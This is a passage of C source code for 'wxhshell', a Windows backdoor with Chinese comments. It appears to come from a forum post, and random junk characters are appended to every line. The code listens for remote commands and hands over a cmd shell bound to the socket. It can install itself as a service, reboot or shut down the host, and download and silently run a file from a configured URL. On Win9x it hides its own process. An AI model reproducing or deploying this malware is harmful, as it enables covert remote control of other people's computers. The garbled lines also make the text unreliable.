    break; ~g=& wT11  
  } @\&j3A  
  // 安装 $"vz>SuB  
  case 'i': { d2UidDU5qa  
    if(Install()) #sc!H4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*:g??[T  
    else c7r( &h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 06]3+s{{  
    break; E'a OHSAg  
    } X\Bl? F   
  // 卸载 .h meP MK  
  case 'r': { Ts !g=F  
    if(Uninstall()) aPelt`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw"cXny  
    else Cy?]o?_?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !s-A`} s+  
    break; tG$O[f@U6  
    } [gBf1,bK  
  // 显示 wxhshell 所在路径 2%WeB/)9  
  case 'p': { |,,#DSe  
    char svExeFile[MAX_PATH]; gttsxOgktH  
    strcpy(svExeFile,"\n\r"); h,Hr0^?  
      strcat(svExeFile,ExeFile); :o!Kz`J  
        send(wsh,svExeFile,strlen(svExeFile),0); X0 |U?Ib?  
    break; Acw`ytV  
    } u9@B&  
  // 重启 {*O%A  
  case 'b': { .9vS4C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A.r7 ks  
    if(Boot(REBOOT)) &b#d4p6&l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4N7wnBp  
    else { ltuV2.$  
    closesocket(wsh); /=;,lC  
    ExitThread(0); [`GSc6j  
    } +=J $:/&U  
    break; r[V%DU$dj  
    } &5-1Cd E  
  // 关机 anW['!T9{s  
  case 'd': { ~Yd[&vpQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 29J|eBvxx  
    if(Boot(SHUTDOWN)) vE )N6Ss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3q/Us0jr  
    else { l{7}3Am6  
    closesocket(wsh); hn2:@^=f  
    ExitThread(0); .F7?}8>Z  
    } G{: B'08  
    break; $Xwk8<  
    } _\d|`3RM  
  // 获取shell @FIL4sb  
  case 's': { =Oy&f:s  
    CmdShell(wsh); ?Vg~7Eu0  
    closesocket(wsh); fSbLkd 9  
    ExitThread(0); j:cu;6|  
    break; E9\"@wu[d  
  } GbO j% a  
  // 退出 neu+h6#H  
  case 'x': { vy~6]hH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %q|* }l  
    CloseIt(wsh); "J,|),Yd  
    break; ZOfv\(iJ;  
    } M@es8\&S.  
  // 离开 X>7Pqn'  
  case 'q': { N-2#-poDe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'df@4}9  
    closesocket(wsh); @\F7nhSfa  
    WSACleanup(); E}4{{{r  
    exit(1); 9mHCms  
    break; /UunWZ u%  
        } tkV[^OeU>  
  } #D_Ti%.^}  
  } T2rwK2  
liYsUmjZ=  
  // 提示信息 Vw w 211  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kq")|9=d  
} |5(un#  
  } o+hp#e  
%6(\Ki6I  
  return; O83J[YuzjN  
} K7 C <}y  
k+{~#@  
// shell模块句柄 -I{op wd  
int CmdShell(SOCKET sock) JYNn zgd  
{ Y&bYaq  
STARTUPINFO si; gWHY7rv  
ZeroMemory(&si,sizeof(si)); =T3{!\tH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (QIU3EN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4OM ]8I!  
PROCESS_INFORMATION ProcessInfo; 1 0zM8<bl  
char cmdline[]="cmd"; x3Cn:F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8*8Y\"  
  return 0; e/Z{{FP%6  
} 6?}|@y^fb  
,2!7iX  
// 自身启动模式 1.p ?1"4\u  
int StartFromService(void) " oxUKT  
{ m>Wt'Cc  
typedef struct B> E4,"  
{ 7Q{&L#;  
  DWORD ExitStatus; 4wKCz Py  
  DWORD PebBaseAddress; Fb<'L5}i  
  DWORD AffinityMask; 0(c,J$I]Z!  
  DWORD BasePriority; &kd W(;`  
  ULONG UniqueProcessId; S".|j$  
  ULONG InheritedFromUniqueProcessId; <P1nfH  
}   PROCESS_BASIC_INFORMATION; R5b,/>^'A  
MMjewGxe  
PROCNTQSIP NtQueryInformationProcess; ):G+*3yb  
/|U;_F Pmc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +xIVlH9`Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;gEEdx'&T  
Q-h< av9  
  HANDLE             hProcess; =UO7!vr;[  
  PROCESS_BASIC_INFORMATION pbi; I[Bp}6G  
I|*<[/)]y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N@0/=B[n  
  if(NULL == hInst ) return 0; c%G~HOE=B  
rYPuo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w\ '5l k,"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%Xp?H_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7mnO60Z8N  
S9:ij1  
  if (!NtQueryInformationProcess) return 0; *9KT@"v  
Jyd[Sc)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $n8&5<  
  if(!hProcess) return 0; 71(ppsHk  
1h(n}u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?a+J4Zr3  
D_F1<q  
  CloseHandle(hProcess); q\P{h ij  
s;<]gaonB_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qu1! KS  
if(hProcess==NULL) return 0; : [?7,/w  
e#6H[t  
HMODULE hMod; f 4K)Z e  
char procName[255]; 'yOx&~H]  
unsigned long cbNeeded; }cW8B"_"  
J|V*g]#kP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IwXQbJ3v_  
)q!dMZ(  
  CloseHandle(hProcess); r^s$U,e#~  
sWA-_4  
if(strstr(procName,"services")) return 1; // 以服务启动 j bOwpyH  
vEt=enQ  
  return 0; // 注册表启动 aQWg?,Ju6  
} 5#_GuL%  
2MXg)GBcU>  
// 主模块 R,!a X"]|  
int StartWxhshell(LPSTR lpCmdLine) _B 4 N2t$  
{ Ey&A\  
  SOCKET wsl; gv jy'Rm  
BOOL val=TRUE; >0N$R|B&  
  int port=0; ( F R  
  struct sockaddr_in door; K#v@bu:'  
sN[<{;K4  
  if(wscfg.ws_autoins) Install(); LD|T1 .  
jRk1Iu|7  
port=atoi(lpCmdLine); ywjD.od"v  
4}Os>M{k  
if(port<=0) port=wscfg.ws_port; >4lA+1JYk  
] C_$zbmi  
  WSADATA data; Kv5 !cll5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6XhS g0s  
-k,}LJjo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I*+*Wf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oXwcil  
  door.sin_family = AF_INET; jfR!M07|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (=53WbOh/t  
  door.sin_port = htons(port); 0oyZlv*  
O,&p"K&Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %[?{H} y  
closesocket(wsl); S`spUq1o  
return 1; 8 =3#S'n  
} o2y #Yk  
SsL>K*t5  
  if(listen(wsl,2) == INVALID_SOCKET) { r)w]~)8  
closesocket(wsl); ,-1taS  
return 1; }WNgKw  
} I} ]s(  
  Wxhshell(wsl); oM}P Wf-  
  WSACleanup(); / vzwokH  
6:bvq?5a5  
return 0; xtS0D^  
!\Q/~p'jS  
} _l]rt  
W<H^V"^  
// 以NT服务方式启动 ra\2BS)X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1z8AK"8  
{ 0j-;4>p  
DWORD   status = 0; 4mWT"T-8  
  DWORD   specificError = 0xfffffff; aj]%c_])(  
0 KWi<G1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y-7$HWn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KMkX0+Ao  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~o/e0  
  serviceStatus.dwWin32ExitCode     = 0; J@9E20$  
  serviceStatus.dwServiceSpecificExitCode = 0; m}-~VYDj  
  serviceStatus.dwCheckPoint       = 0; p~u11rH  
  serviceStatus.dwWaitHint       = 0; #w]:<R^  
1QDAfRx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (/_Z^m9   
  if (hServiceStatusHandle==0) return; X?]1/6rV  
SR 1UO'.  
status = GetLastError(); 6n.C!,Zmn  
  if (status!=NO_ERROR) ]?2&d[  
{ S|v-lJ/I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P^ bcc  
    serviceStatus.dwCheckPoint       = 0; }"9jCxXL  
    serviceStatus.dwWaitHint       = 0; [hXU$Y>"0  
    serviceStatus.dwWin32ExitCode     = status; /&'rQ`nd  
    serviceStatus.dwServiceSpecificExitCode = specificError; cd*F;h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @7B!(Q  
    return; .zyi'Kj  
  } y>m=A41:g  
XS"lR |  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9L xa?Y1  
  serviceStatus.dwCheckPoint       = 0; 9k!#5_ M  
  serviceStatus.dwWaitHint       = 0; (A8X|Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d\aU rsPn  
} !xh.S#B  
V,Br|r$l(  
// 处理NT服务事件,比如:启动、停止 4qEeN-6h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JS1''^G&.  
{ [VwoZX:  
switch(fdwControl) (%EhkTb  
{ f qU*y 6]  
case SERVICE_CONTROL_STOP: i(XqoR-x  
  serviceStatus.dwWin32ExitCode = 0; 7L&=z$U@m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G8oOFBQD  
  serviceStatus.dwCheckPoint   = 0; {oN7I'>  
  serviceStatus.dwWaitHint     = 0; i50^%,  
  { 8MPXrc,9-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {e8.E<f-  
  } +3D3[.n  
  return; s4c2  
case SERVICE_CONTROL_PAUSE: 7w{>bYP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PYz^9Ud 6g  
  break; ra k@oW]  
case SERVICE_CONTROL_CONTINUE: qS|t7*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VDq?,4Kb  
  break; 7*r7Q'  
case SERVICE_CONTROL_INTERROGATE: $n?@zd@53  
  break; ,;yiV<AD  
}; HGpj(U:`c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(rG5z3P  
} NrdbXPHceN  
.DSmy\FI5  
// 标准应用程序主函数 L?e N(L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %<w)#eV?  
{ ']ussFaQ  
Cuq=>J  
// 获取操作系统版本 ?F9:rUyN  
OsIsNt=GetOsVer(); r9uuVxBD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !bG%@{WT  
(1(dL_?  
  // 从命令行安装 3Vl?;~ :5  
  if(strpbrk(lpCmdLine,"iI")) Install(); jn9KQe\3  
 *w538Vb  
  // 下载执行文件 V '4sOn  
if(wscfg.ws_downexe) { Q}M% \v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yvu!Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); \j]i"LpWb  
} }?=$?3W  
gUB%6vG\I  
if(!OsIsNt) { -&* 4~  
// 如果时win9x,隐藏进程并且设置为注册表启动 OXuBtW*,z+  
HideProc(); q8{) 27f,  
StartWxhshell(lpCmdLine); C-abc+/  
} UmSy p\i  
else K$dSg1t  
  if(StartFromService()) |A#pG^  
  // 以服务方式启动 @e_ bG@  
  StartServiceCtrlDispatcher(DispatchTable); lXS.,#lp  
else T8 ,?\7)S9  
  // 普通方式启动 !giL~}j(R  
  StartWxhshell(lpCmdLine); O!(M:.  
Ph'P<h:V  
return 0; !>{` o/dZ  
}
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只看该作者 1 发表于: 2006-10-10
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